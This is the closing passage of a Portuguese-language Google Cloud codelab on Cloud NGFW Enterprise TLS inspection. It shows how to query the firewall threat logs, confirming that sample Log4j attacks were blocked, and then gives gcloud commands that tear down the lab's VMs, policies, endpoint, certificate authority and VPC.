Nenhuma resposta é recebida de acordo com a saída esperada abaixo, confirmando que os ataques de amostra estão sendo bloqueados para E/W.

13. Logging

Navegue até Logging > A Análise de registros pelo console do Cloud, digite o filtro abaixo e consulte os registros. Substitua [PROJECT_ID] pelo project_id:

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"

As entradas de registro do Cloud NGFW Enterprise serão semelhantes, conforme mostrado abaixo:

Expanda as entradas de registro e observe que os ataques enviados da VM do cliente para o servidor foram identificados e bloqueados (Vulnerabilidade de execução remota de código do Apache Log4j, conforme a captura de tela abaixo).

Você implantou o Cloud NGFW Enterprise com inspeção TLS para bloquear solicitações maliciosas.

Prossiga para a próxima seção para ver as etapas de limpeza.

14. Etapas de limpeza

Limpeza da configuração da base

Remova as instâncias:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

Siga as etapas abaixo se os papéis tagAdmin e tagUsers tiverem sido alterados:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

Remova a chave e os valores da tag:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

Remova a política de rede do Cloud Firewall e a associação:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Exclua o Cloud Router e o Cloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

Exclua os endereços IP reservados:

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

SPG do Cloud Firewall, associação e limpeza de TLS

Exclua o grupo de perfis de segurança e o perfil de ameaças nesta ordem:

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

Exclua a associação de endpoint do Cloud Firewall:

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

Exclua o endpoint do Cloud Firewall, o que pode levar cerca de 20 minutos:

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

Se quiser, confirme se o endpoint do Cloud NGFW foi excluído executando o comando abaixo:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

O estado do endpoint deve mostrar:

STATE: DELETING

Quando concluído, o endpoint não será mais listado.

Exclua a política de TLS e a configuração de confiança nesta ordem:

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

gcloud -q alpha certificate-manager trust-configs delete \
  $prefix-trust-config \
  --location=$region

Desative e exclua a CA raiz e o pool de ACs:

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

Limpeza da sub-rede e da VPC

Por fim, exclua a sub-rede e a rede VPC:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

15. Parabéns!

Parabéns, você concluiu o codelab do Cloud NGFW Enterprise para inspeção TLS do leste a oeste e do norte.